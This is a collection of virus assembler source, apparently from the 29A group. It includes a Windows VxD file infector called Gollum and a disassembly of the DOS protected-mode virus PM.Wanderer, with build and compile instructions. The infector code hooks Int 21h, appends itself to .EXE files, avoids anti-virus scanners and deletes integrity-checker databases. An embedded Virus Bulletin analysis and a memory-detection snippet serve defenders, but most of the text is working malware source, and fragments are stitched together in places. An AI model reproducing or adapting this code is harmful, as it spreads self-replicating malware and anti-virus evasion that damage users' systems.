_ltext preload nondiscardable
_ldata preload nondiscardable
_itext class 'icode' discardable
_idata class 'icode' discardable
_text class 'pcode' nondiscardable
_data class 'pcode' nondiscardable
name vxdstub
_TEXT segment word public 'CODE'
assume cs:_TEXT,ds:_TEXT,es:_TEXT
;Activation routine
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
vxdstub endp
_TEXT ends
end vxdstub
.386p
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Includes ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
.XLIST
INCLUDE Vmm.Inc
INCLUDE SheLL.Inc
.LIST
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virtual device declaration ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Declare_Virtual_Device WGoLLuM,03h,00h,WGoLLuM_Control,Undefined_Device_ID,,,
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Initialization data segment ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
VxD_IDATA_SEG
VxD_IDATA_ENDS
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Local locked data segment ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
VxD_LOCKED_DATA_SEG
VxD_LOCKED_DATA_ENDS
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Initialization code segment ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
VxD_ICODE_SEG
BeginProc WGoLLuM_Sys_Critical_Init
EndProc WGoLLuM_Sys_Critical_Init
BeginProc WGoLLuM_Device_Init
EndProc WGoLLuM_Device_Init
BeginProc WGoLLuM_Init_Complete
EndProc WGoLLuM_Init_Complete
VxD_ICODE_ENDS
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Locked code segment ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
VxD_LOCKED_CODE_SEG
BeginProc WGoLLuM_Control
EndProc WGoLLuM_Control
;Save regs
pushad
;Check for our own calls (avoid recursive int 21h calls)
cmp dword ptr [Our_Own_Call_Flag],"BUSY"
je short Exit_VxD_Int_21h
;Set flag
mov dword ptr [Our_Own_Call_Flag],"BUSY"
;Get called function
mov ax,word ptr [ebp.Client_AX]
;Check for Exec function calls
cmp ax,4B00h
je short Store_FileName
;Check for Terminate with error-code 00h function calls
cmp ax,4C00h
je short Infect_Stored_FileName
cmp ah,3Bh
je Drop_Exe_Trojan
Exit_VxD_Int_21h:
;Clear flag
mov dword ptr [Our_Own_Call_Flag],"FREE"
;Restore regs
popad
;Int not served yet
stc
ret
Store_FileName:
;Save filename into our buffer
movzx edx,word ptr [ebp.Client_DX]
movzx eax,word ptr [ebp.Client_DS]
shl eax,04h
add eax,edx
mov esi,eax
mov edi,OFFSET32 Infect_FileName
Go_Thru_Filename:
cld
lodsb
stosb
or al,al
jnz Go_Thru_Filename
jmp Exit_VxD_Int_21h
Infect_Stored_FileName:
;Check if working on C: drive
mov esi,OFFSET32 Infect_FileName
cmp word ptr [esi],":C"
jne Infect_Error
Look_End:
;Find null marker into filename
cld
lodsb
or al,al
jnz Look_End
Found_Tail:
;Search begin of file name
dec esi
mov ecx,0080h
Look_Start:
std
lodsb
;Do not infect files with V character in their names
cmp al,"V"
je Infect_Error
;Do not infect files with digit in their names
cmp al,"0"
jb short Check_Start
cmp al,"9"
jbe Infect_Error
Check_Start:
cmp al,"\"
je short Check_Names
loop Look_Start
;Begin of file name not found, tchhh...
jmp Infect_Error
Check_Names:
inc esi
inc esi
;Save pointer to file name start
mov dword ptr [Start_FileName],esi
cld
lodsd
;Check for SCAN
cmp eax,"NACS"
je Infect_Error
;Check for F-PROT
cmp eax,"RP-F"
je Infect_Error
;Avoid THUNDERBYTE shit
cmp ax,"BT"
je Infect_Error
;Get file attr
mov ax,4300h
mov edx,OFFSET32 Infect_FileName
VxDint 21h
jc Infect_Error
;Save file attr
mov word ptr [file_attr],cx
;Wipe out attr
mov ax,4301h
xor cx,cx
VxDint 21h
jc Infect_Error
;Open file to infect
mov ax,3D02h
mov edx,OFFSET32 Infect_FileName
VxDint 21h
jc Restore_Attr
;Get file handler
mov word ptr [Victim_Handle],ax
xchg bx,ax
;Get file date/time
mov ax,5700h
VxDint 21h
jc Infect_Close
;Save file date time
mov word ptr [File_Time],cx
mov word ptr [File_Date],dx
;Read file header
mov ah,3Fh
mov ecx,Header_Size
mov edx,OFFSET32 File_Header
VxDint 21h
jc Restore_Date_Time
;Seek to EOF and get real file size
call Seek_File_End
jc Restore_Date_Time
;Do not infect too small files
cmp eax,DOS_Virus_Size+VxD_Size
jbe Restore_Date_Time
Test_EXE_File:
;Point esi to file header
mov esi,OFFSET32 File_Header
;Check dos .EXE file type mark
cmp word ptr [esi],"ZM"
jne Restore_Date_Time
;Check if file is infected
cmp word ptr [esi+12h],"CR"
je Restore_Date_Time
;Don't infect Windows files or above
cmp word ptr [esi+19h],0040h
jae Restore_Date_Time
;Don't infect overlays
cmp word ptr [esi+1Ah],0000h
jne Restore_Date_Time
;Check maxmem field
cmp word ptr [esi+0Ch],0FFFFh
jne Restore_Date_Time
;Save entry point
push eax
mov eax,dword ptr [esi+14h]
;Crypt it!
not eax
mov dword ptr [DOS_Virus_Code+0177h],eax
pop eax
;Make a copy of .exe file header
push esi
mov edi,OFFSET32 Header_Copy
mov ecx,Header_Size
Copy_Loop:
cld
lodsb
not al
stosb
loop Copy_Loop
pop esi
;Get file size into dx:ax
mov eax,dword ptr [File_Size]
mov edx,eax
shr edx,10h
;Get file size div 10h
mov cx,0010h
div cx
;Sub header size
sub ax,word ptr [esi+08h]
;New entry point at EOF
mov word ptr [esi+14h],dx
mov word ptr [esi+16h],ax
;Save delta offset
mov word ptr [DOS_Virus_Code+0001h],dx
;Set new offset of stack segment in load module
inc ax
mov word ptr [esi+0Eh],ax
;Set new stack pointer beyond end of virus
add dx,DOS_Virus_Size+VxD_Size+0200h
;Aligment
and dx,0FFFEh
mov word ptr [esi+10h],dx
;Get file size into dx:ax
mov eax,dword ptr [File_Size]
mov edx,eax
shr edx,10h
;Get file size div 0200h
mov cx,0200h
div cx
or dx,dx
jz short Size_Round_1
inc ax
Size_Round_1:
;Check if file size is as header says
cmp ax,word ptr [esi+04h]
jne Restore_Date_Time
cmp dx,word ptr [esi+02h]
jne Restore_Date_Time
;Get file size into dx:ax
mov eax,dword ptr [File_Size]
mov edx,eax
shr edx,10h
;Add virus size to file size
add ax,DOS_Virus_Size+VxD_Size
adc dx,0000h
;Get infected file size div 0200h
mov cx,0200h
div cx
or dx,dx
jz short Size_Round_2
inc ax
Size_Round_2:
;Store new size
mov word ptr [esi+02h],dx
mov word ptr [esi+04h],ax
;Write DOS virus area next to EOF
mov ah,40h
mov ecx,DOS_Virus_Size
mov edx,OFFSET32 DOS_Virus_Code
VxDint 21h
jc Restore_Date_Time
;Open Gollum VxD file
mov ax,3D00h
mov edx,OFFSET32 VxD_File_Name
VxDint 21h
jc Restore_Date_Time
;Save file handler
mov word ptr [Gollum_Handle],ax
Read_VxD_Block:
;Read VxD file block
mov ah,3Fh
mov bx,word ptr [Gollum_Handle]
mov ecx,0200h
mov edx,OFFSET32 VxD_Buffer
VxDint 21h
push eax
;Encrypt block
mov esi,edx
mov edi,edx
mov cx,0200h
Crypt_Loop_3:
cld
lodsb
not al
stosb
loop Crypt_Loop_3
;Write block
pop ecx
mov ah,40h
mov bx,word ptr [Victim_Handle]
VxDint 21h
cmp cx,0200h
je Read_VxD_Block
;Close file
mov bx,word ptr [Gollum_Handle]
mov ah,3Eh
VxDint 21h
;Seek to beginning of file
mov bx,word ptr [Victim_Handle]
call Seek_File_Start
;Mark file as infected
mov esi,OFFSET32 File_Header
mov word ptr [esi+12h],"CR"
;Write new header
mov ah,40h
mov cx,Header_Size
mov edx,esi
VxDint 21h
;Delete ANTI-VIR.DAT
mov esi,OFFSET32 CheckSum_File_00
call Delete_File
;Delete CHKLIST.TAV
mov esi,OFFSET32 CheckSum_File_01
call Delete_File
;Delete CHKLIST.MS
mov esi,OFFSET32 CheckSum_File_02
call Delete_File
;Delete AVP.CRC
mov esi,OFFSET32 CheckSum_File_03
call Delete_File
;Delete IVB.NTZ
mov esi,OFFSET32 CheckSum_File_04
call Delete_File
Restore_Date_Time:
mov ax,5701h
mov cx,word ptr [File_Time]
mov dx,word ptr [File_Date]
VxDint 21h
Infect_Close:
;Close file
mov ah,3Eh
VxDint 21h
Restore_Attr:
;Restore file attr
mov ax,4301h
mov cx,word ptr [File_Attr]
mov edx,OFFSET32 Infect_FileName
VxDint 21h
Infect_Error:
jmp Exit_VxD_Int_21h
Delete_File:
mov edi,dword ptr [Start_FileName]
Copy_DB_Name:
cld
lodsb
stosb
or al,al
jnz Copy_DB_Name
;Wipe out file attr
mov ax,4301h
xor ecx,ecx
mov edx,OFFSET32 Infect_FileName
VxDint 21h
;Delete filename
mov ah,41h
VxDint 21h
ret
Seek_File_Start:
xor al,al
jmp SHORT Seek_Int_21h
Seek_File_End:
mov al,02h
Seek_Int_21h:
mov ah,42h
xor cx,cx
xor dx,dx
VxDint 21h
jc short Seek_Error
;Return file pointer position into eax
and eax,0000FFFFh
shl edx,10h
add eax,edx
mov dword ptr [File_Size],eax
clc
ret
Seek_Error:
stc
ret
EndProc VxD_Int_21h
VxD_LOCKED_CODE_ENDS
END
tasm gollum
tlink /Tde gollum
exe2bin gollum.exe gollum.bin
crypt
data gollum.crp gollum.inc
comment *
; P.S. This virus will not be detected by Thunderbytes TBRESCUE Boot sector
; detector or CMOS virus protection.
.286
org 003eh
org 001b4h
org 001fdh
org $+02h
vbuffer label byte ;buffer to read boot sector
qseg ends
end
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ PM.Wanderer ³
; ³ Disassembled by ³
; ³ Tcp/29A ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;
; This is one of the very few DOS viruses which use protected mode in order
; to perform its functioning and the first to do it in a pretty effective
; way. It appears encrypted in files by means of a polymorphic engine, whose
; garbage generator i've kinda liked, based in a table and a decoder of the
; contents of that table. This makes the engine pretty flexible as it's pos-
; sible to add entries to the table, being able to make the generated garba-
; ge much more confusing, without having to modify anything else.
;
; However the most notorious feature in this virus is the way it works under
; protected mode. I've included below an article written by the AVer (DrWeb)
; Igor Daniloff for VirusBulletin in which he makes a pretty good descrip-
; tion of the functioning of this part of the virus. Anyway there are some
; errors in the text, so i've commented them with (* *).
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Protected Mode Supervisor?
;
; Igor Daniloff
; DialogueScience
;
; Since their introductions, PCx have become increasingly complex through
; advances in both hardware and software. Computer viruses are also becoming
; more complex and intricate as their authors try to adapt them to changes
; in the computer environment.
;
; Now there are viruses that infect PC boot sectors of disks, DOS, Windows,
; Windows'95, OS/2, and Linux program files, as well as documents created in
; Word and Excel. Virus authors have devised stealth tecniques to help avoid
; detection, and anti-debugging and anti-virus mechanismes to make initial
; detection, then analysis more difficult. They have incorporated
; polymorphism in boot sectors, files, and memory to make detection more
; laborious and time-consuming for anti-virus designers. Since the release
; of i386 processors, viruses have begun to use 32-bit instructions in their
; codes. Some polymorphic viruses employ 32-bit operands in their decryptors.
;
; Unfortunately, viruses aim to survive and gain the upper hand under the
; existing conditions, using all conceivable software and hardware
; techniques. With the emergence of 286, and later 32-bit i386 processors,
; came protected (or virtual) operation mode. Thus far, virus authors have
; not successfully harnessed protected mode. Some have tried to master it,
; but their attempts have been unsuccessful because of changes with important
; operating system components.
;
; In 1994, the boot virus PMBS was the first to tackle protected mode, but
; could not cope with other applications or drivers (EMM386, Windows, OS/2)
; also using that mode. In the same year, viruses Evolution.2761 and
; Evolution.2770 succeeded in tapping part of the power of the protected
; mode, but only when the processor was in the real mode. These viruses
; replaced the actual interrupt vector table with their own interrupt
; descriptor table (IDT), which they loaded with IDT register. How did the
; Evolution viruses could use this technique in everyday life? I doubt there
; is a PC user who runs i386-Pentium in real mode.
;
; Although the i386 processor made its debut long ago, viruses have still
; failed to master its powerful protected mode. I believe that virus
; designers have cherished this hope for some time, and that one among them
; finally appears to have realized it.
;
; PM.Wanderer, apparently written in Russia, is a file infector which uses a
; cruide form of protected mode. It is surprisingly stable, interacting more
; or less correctly with other programs that utilize this mode. The name is
; derived from the string 'WANDERER,(c)P.Demenuk'.
;
; A resident polymorphic virus PM.Wanderer installs its resident part in the
; memory and toggles the processor to the protected mode, by utilizing the
; documented virtual control program interface (VCPI) of the extended memory
; supervisor (EMS, EMM386).
;
;
; Installation
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; On starting an infected program, the virus polymorphic decryptor decodes
; the main virus body and passes control to it. The virus code determines a
; location in the upper addresses of DOS memory, writes itself to this
; memory, and hands over control to the copy higher in memory. Then it
; restores the code of the infected file in the program segment (for EXE
; files, it also configures the addresses of relocated elements) and begins
; to install resident component.
;
; First, the virus checks whether there is an extended memory manager (EMS)
; in the system. It does this by retrieving the address of Int 67h (Extended
; Memory) though Int 21h function AX=3567h (Get Interrupt Vector), and
; checking whether the characters 'EM' exist in EMS header. Then the virus
; verifies whether its resident part is already installed by calling function
; AX=BABAh of Int 21h and locking for the answer AX=FA00h.
;
; If there is no active EMM in the system, or the resident part of the virus
; is already installed (and in subsequent operation, if there is no VCPI or
; an error occurs installing the resident copy), the virus frees the memory
; reserved for installing the resident copy and passes control to the host
; program. This completes the life cycle of the virus in a system. However,
; if environmental conditions are favourable, the virus intercepts Int 01h
; and traces Int 21h looking, for the word 9090h (two NOPs) in the original
; Int 21h handler code of MS DOS version 5.00-7.00.
;
; If this string is detected, the virus retrieves from a specific handler
; address the address of Int 21 handler kernel, which is usually located in
; the high memory area, and writes this address to its body. This address is
; subsequently used by the virus for calling the Int 21h handler kernel for
; infecting files.
;
; Then the virus verifies the presence of VCPI and reserves the physical
; addresses of four memory pages. IT next retrieves the address of VCPI, page
; table, and the addresses of GDT (Global Descriptor Table. This consists of
; three elements: the first is the code segment descriptor, and the other two
; are used by the VCPI driver). The virus writes a reference to the pages
; allotted by the VCPI driver to the page table, and retrieves the physical
; address of the memory page of the segment in which the virus is currently
; located. It also gets GDT and IDT registers. Next, the virus creates three
; (code and data) descriptors and a descriptor for the task state segment
; (TSS) in GDT.
;
; Finally, it prepares the values for the registers CR3, GDTR, IDTR, LDTR
; (Local Descriptor Table Register), TR (Task Register), and the address
; CS:EIP of the protected mode entry point. Using the VCPI tools, the virus
; toggles the processor to protected mode with the highest privilege level,
; known as the supervisor.
;
; In the protected mode, the virus corrects IDT (* corrects GDT *) by creating
; two segment descriptors, then searches for the TSS descriptor (* searches for
; page table *). Next the virus defines two breakpoints: one at the first byte
; of the code of the current INT 21h handler (0000:0084h) and the other at
; the first byte of the code in BIOS at 0FE00:005Bh (linear address 0FE05Bh).
; The BIOS location usually holds the 'near jump to reboot'. The virus then
; corrects IDT to set debug exceptions at Int 01h and Int 09h. It also defines
; two handler descriptors: trap gate and interrupt gate.
;
; After these preliminaries, the virus writes its code to the memory page and
; switches the processor back to the virtual mode in order to free the DOS
; memory in upper addresses and to return the control to the infected
; program. From this instant, the infected program begins its "normal" work,
; but Int 01h and Int 09h have been redefined by the virus as trap gate and
; interrupt gate in protected mode, respectively.
;
;
; Keyboard Handler
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; On receiving control, the virus-defined Int 09h handler verifies whether
; the two virus-defined breakpoints exist, and restores them if either has
; been zeroed. Using the register DR7, the virus checks whether the two
; breakpoints (0 and 1) are defined, without verifying their linear
; addresses. If either of the breakpoints is missing, the virus calls the
; procedure that instantly restores them to their initial status. The
; virus-defined Int 09h handler also keeps a close watch on the pressing of
; Ctrl-Alt-Del and `resets' all breakpoints when this key combination is
; used.
;
; Debug Exceptions Handler The virus-defined debug exceptions handler
; verifies whether either of the virus breakpoints has been reached by
; checking the command address. If control passed to this handler from the
; 'near jump to reboot' in BIOS, the virus resets all breakpoints just as the
; virus-defined keyboard handler does when the key combination Ctrl-Alt-Del
; is pressed.
;
; If the exception was caused by the breakpoint of the original DOS Int 21h
; handler, the virus analyzes the AX register to determine the function of
; Int 21h, and behaves accordingly. Prior to analyzing this, the virus sets
; the resume flag (RF=1) in the stack's EFLAGS register that is intended to
; return control to the breakpoint. This flag is set should a debug exception
; take place while returning control to the breakpoint.
;
; If Int 21h is called with AX=0BABAh, the virus the virus recognizes this as
; its 'Are you there?' call. If PM.Wanderer is installed it writes writes the
; value 0FACCh in the AX register and returns control to the original DOS Int
; 21h handler. On exiting from the DOS handler, the AL register is set to
; zero. The register value AX=0FA00h informs the non-resident virus that a
; copy is already active.
;
; If Int 21h is called with either AX=4B00h (start program) or AH=3Dh and the
; lower 4 bits of AL set to zero (open file for reading), the virus decides
; to infect. The virus writes its code to 9000:0000h (linear address 90000h),
; prepares a stack, and toggles the processor to 8086 virtual mode with IRETD
; command at third and last privilege level.
;
;
; File Infection
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; In virtual mode, the virus code verifies the last two characters (OM or XE)
; of the filename extension, creates a polymorphic copy, and infects files
; longer than 4095 bytes. PM.Wanderer does not infect a files if seconds
; field of file's time-stamp is 34, assuming that the file is already
; infected, assuming the file is already infected, nor does the virus alter
; file attributes. Therefore read only files are not infected. Further, the
; virus does not infect a particular program with seven-character filename. I
; could not find the name of this file: the virus defines it implicitly by
; computing the CRC of itss name.
;
; The virus does not take over Int 24h (Critical Error Handler), so when
; critical errors (for example, writing to write-protected disks) occur
; during infection, the standard DOS query - Retry, Ignore, Fail, Abort? - is
; displayed. The virus infects a file by calling the DOS Int 21h handler
; directly, using the address obtained from tracing Int 21h at installation.
; The virus code is prepended to the header of COM files and inserted into
; the middle of EXE files, immediately below the header. Prior to this, the
; relocations field in the header is zeroed by moving the original program
; code to the file end. The `real working code' of the virus is 3684 bytes
; long, but the size of infected files increases by more than 3940 bytes.
; (* exactly between 3940 and 4036 bytes: 3684 + decryptor (256 to 352) *)
;
;
; Exit from the V-mode of DOS-machine
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The virus uses a smart technique to exit the V-mode and to transfer control
; to the breakpoint of the DOS Int 21h handler that called the debug
; exceptions, so that DOS functions normally. Were the virus to infect a file
; while in P-mode, everything would be simple - it would be sufficient to
; execute the IRETD command. Since the virus has toggled to the V-mode with
; privilege level three, it is possible for the debug exceptions handler to
; switch back to P-mode. Therefore, the virus plays an elegant trick to
; surmount the situation.
;
; If an error occurs during infection or while exiting from the virtual mode,
; the virus calls Int 21h with AX=4B00h. When Int 21h is called with
; AX=4B00h, control jumps to the first command of the DOS Int 21h handler.
; This command contains a virus-defined breakpoint. Control must now be
; transferred to the debug exceptions handler in P-mode. However, the V-mode
; monitor discovers the need to process the next debug exception. The point
; is that the virus debug exceptions handler has not returned the control to
; the breakpoint and is still busy processing the current debut exception.
; Therefore, the V-mode monitor terminates the Int 21h call, aborts
; processing the current debug exception, and returns control to the
; breakpoint with the values stored in the registers of the previous Int 21h
; call.
;
;
; Payload
; ÄÄÄÄÄÄÄ
; If the debug exceptions handler is passed AX=3506h (such a call for getting
; the INT 06 address usually exists in all programs compiled from high-level
; languages, such as C, Pascal), PM.Wanderer scans the linear address space
; 0-90000h looking for a string that obviously belongs to the Russian
; integrity checker ADinf. If this string is found, the virus modifies it in
; order to disable the alerts ADinf usually raises on detecting changes to
; files and disks.
;
; Search for the Virus in Memory: It is clear from the above that conventional
; memory scanning methods are incapable of detecting the resident copy of the
; virus at level zero privilege in the protected mode. The resident copy can
; be detected only after toggling to the highest privilege level of protected
; mode with the help of GDT or IDT. However, this virus can be trapped by
; other conventional methods. Here, the linear addresses of the first two
; breakpoints (0 and 1) must be determined and compared with the values
; described above. The possible presence of PM.Wanderer in the memory can be
; decided from theese addresses. It is imperative that such operations be
; carried out only in a DOS session. In assembler language, this can be done
; as follows:
;
;
; .8086
; MOV AX,0BABAH ;simulate that the virus is checking its
; INT 21H ;presence in the memory
; CMP AX,0FA00H ;did the resident copy respond?
; JNE ExitCheckMemory
; .386P
; MOV EAX,DR7 ;read register DR7
; AND EAX,20AH
; CMP EAX,20AH ;are 2 breakpoints defined?
; JNE ExitCheckMemory
; MOV EAX,DR1 ;read linear address of breakpoint 1
; CMP EAX,0FE05BH ;is it set at 0FE00:005BH in BIOS?
; JNE ExitCheckMemory
; .8086
; MOV AH,9
; MOV DX,OFFSET VirusIsFound
; INT 21H ;alert about the possible presence of
; CLI ;virus in the memory
; JMP $+0 ;"hang up" system
;ExitCheckMemory:
; INT 20H ;terminate operation
;
;
; Test
; ÄÄÄÄ
; After infecting several thousand files, the virus behaves like a 'lodger'
; with all infected files remaining operative. A file becomes inoperative
; only if, after infection, its stack are located within the virus code.
; While infecting EXE files, PM.Wanderer does not modify the start SS:SP
; values in the EXE header. As already mentioned, the virus is capable of
; reproduction only if EMS (EMM386) is installed in the system. If EMM386 is
; installed with the /NOEMS option, when the virus toggles processor to
; protected mode, the system will reboot. The computer may also reboot if
; QEMM386 is installed.
;
; The virus loses its reproduciability under Windows 3.1x and Windows 95.
; These operating systems cut off an already resident PM.Wanderer, because
; while loading they install their own handlers in IDT and zero all
; breakpoints. Prior to terminating a session and returning to DOS, Windows
; restores the previous status of the interrupt descriptor table. On pressing
; a key in DOS environment, the virus gets control, installs its own
; breakpoints, and continues its activities. Due to the absence of VCPI in a
; DOS session within Windows, the virus cannot return to the protected mode
; there. For the same reason, the virus is also inoperative under OS/2.
;
;
; Conclusion
; ÄÄÄÄÄÄÄÄÄÄ
; PM.Wanderer is the first virus to utilize i386 the protected mode and not
; conflict with the domimamt Microsoft operating systems, which also use that
; mode. It is possibly that future viruses may completely overwrite the
; supervisor with their own code supporting the DPMI, EMS/VCPI, XMS, and Int
; 15h extended memory interfaces. Who knows?
;
;
; PM.Wanderer
; Aliases: None known
; Type: Memory resident in P-mode, polymorphic
; Infection: COM and EXE files
; Self-recognition in
; Memory: See description
; Self-recognition in Files: Bit 1 and bit 4 in seconds field of file's
; time-stamp set
; Hex Pattern in Files: The virus is polymorphic, and there is no
; useful hex pattern.
; Hex Pattern in Memory: Virus works in P-mode, see description
; Intercepts: In IDT: Int 09h for enabling breakpoints,
; Int 1 for infection
; Payload: Patch the integrity checker ADinf in
; memory.
; Removal: Under clean system conditions, identify
; and replace infected files
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; Other data
; ÄÄÄÄÄÄÄÄÄÄ
; Virus : PM.Wanderer
; Size : 3684 (code) + 256-352 (decryptor) = 3940-4036 bytes
; Author : P. Demenuk
; Origin : Russia
; Disasm by : Tcp/29A
;
;
; Greetings
; ÄÄÄÄÄÄÄÄÄ
; They go this time to l- (i got it) ;), and to Vecna/29A, as he was working
; in the same project at the same time, without any of we both having reali-
; sed about that fact :) I noticed it also happened the same to him with the
; Dementia disassembly... that's bad luck, man! :)
;
; Send any question or comment to tcp@cryogen.com.
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm /m wanderer.asm (ignore warnings, if any)
; tlink /t /3 wanderer (ignore fixup overflow errors)
; Selectors :
CODE_SEL = 8 ; CS Selector
DATACS_SEL = 10h ; CS Alias Selector
ALLMEM_SEL = 18h ; 4GB Memory Selector
TSS_SEL = 28h ; TSS Selector
VCPICS_SEL = 30h ; VCPI CS Selector
start:
call get_delta
get_delta:
pop si
sub si,3 ; Get delta offset
mov di,offset(start)
cld
mov ax,cs
push ds
mov ds,ax
mov es,ax
push offset(mem_mcb)
mov bx,offset(copy_code)
mov word ptr [bx],0A4F2h ; Encode 'repnz movsb'
mov word ptr [bx+2],0C361h ; Encode 'popa ; ret'
mov cx,VIRUS_SIZE
pusha
jmp bx
db 0Ah,'WANDERER,(c) P. Demenuk',0Ah
mem_mcb:
pop ax
dec ax
mov es,ax ; ES:=MCB
mov bx,es:[3] ; Get number of paragraphs in this MCB
mov ds:size_mcb,bx
inc ax
mov es,ax ; ES:=PSP
jmp alloc_mem
free_mem:
mov bx,ds:size_mcb
sub bx,600h ; 600h*16 = 24576 bytes
mov ah,4Ah
int 21h ; Adjust memory block size
; ES = segment addr of block to change
; BX = new size in paragraphs
alloc_mem:
mov bx,500h ; 500h*16 = 20480 bytes
mov ah,48h
int 21h ; Allocate memory
; BX = 16-byte paragraphs desired
jc free_mem ; Error? then jmp
mov es,ax
xor di,di
xor si,si
mov cx,2048
mov ds:codesegment,cs
rep movsw ; Copy 4K to allocated memory
push cs
push ax
push offset(new_mem_pos)
retf ; Jump to new copy
new_mem_pos:
push cs
pop ds
cmp ds:host_type,0 ; COM file?
jz check_resident ; Yes? then jmp
mov ah,62h
int 21h ; Get PSP address
mov es,bx
mov es,es:[2Ch] ; ES:=environment
xor di,di
mov cx,8000h
mov al,1
repne scasb ; Search for '1h' (file path)
inc di ; Current file path
push es
pop ds
mov ax,3D00h
mov dx,di
int 21h ; Open file (read)
xchg ax,bx ; BX := handle
pop ds
mov ax,4200h
mov dx,cs:filesize_l
mov cx,cs:filesize_h
int 21h ; Lseek end of original file
mov ah,3Fh
mov cx,cs:size_in_file
xor dx,dx
int 21h ; Read from file
push ds
push cs
pop ds
mov ax,4200h
mov dx,ds:ofs_relocitems
xor cx,cx
int 21h ; Lseek start of relocation table
mov cx,ds:reloc_items
shl cx,1 ; x2 (number of bytes in reloc. table)
shl cx,1
mov dx,offset(buffer1)
mov ah,3Fh
int 21h ; Read relocation table
mov ah,3Eh
int 21h ; Close file
mov si,offset(buffer1)
pop ax
mov cx,ds:reloc_items
jcxz no_reloc_items ; Any relocation item? No? then jmp
l_reloc:
add [si+2],ax ; Relocate item in memory
les di,[si]
add es:[di],ax
add si,4
loop l_reloc
no_reloc_items:
mov psp_seg,ax
check_resident:
mov ax,3567h
int 21h ; Get int 67h vector
cmp word ptr es:[0Ah],'ME' ; EMM386 loaded?
push cs
pop es
jne exec_host ; No? then jmp
mov ax,0BABAh ; Residency check
int 21h
cmp ax,0FA00h ; Already resident?
jne go_resident ; No? then jmp
free_virmem:
sti
exec_host:
mov ah,49h
int 21h ; Free memory
cmp ds:host_type,0 ; COM file?
jz exec_com ; Yes? then jmp
mov ax,psp_seg
add ax,ds:file_reloCS
push ax ; CS
push ds:file_exeIP ; IP
mov ax,psp_seg
sub ax,10h
mov es,ax
mov ds,ax
jmp restore_mcb
exec_com:
mov sp,0FFFEh ; Set stack pointer
push 100h ; IP
pusha
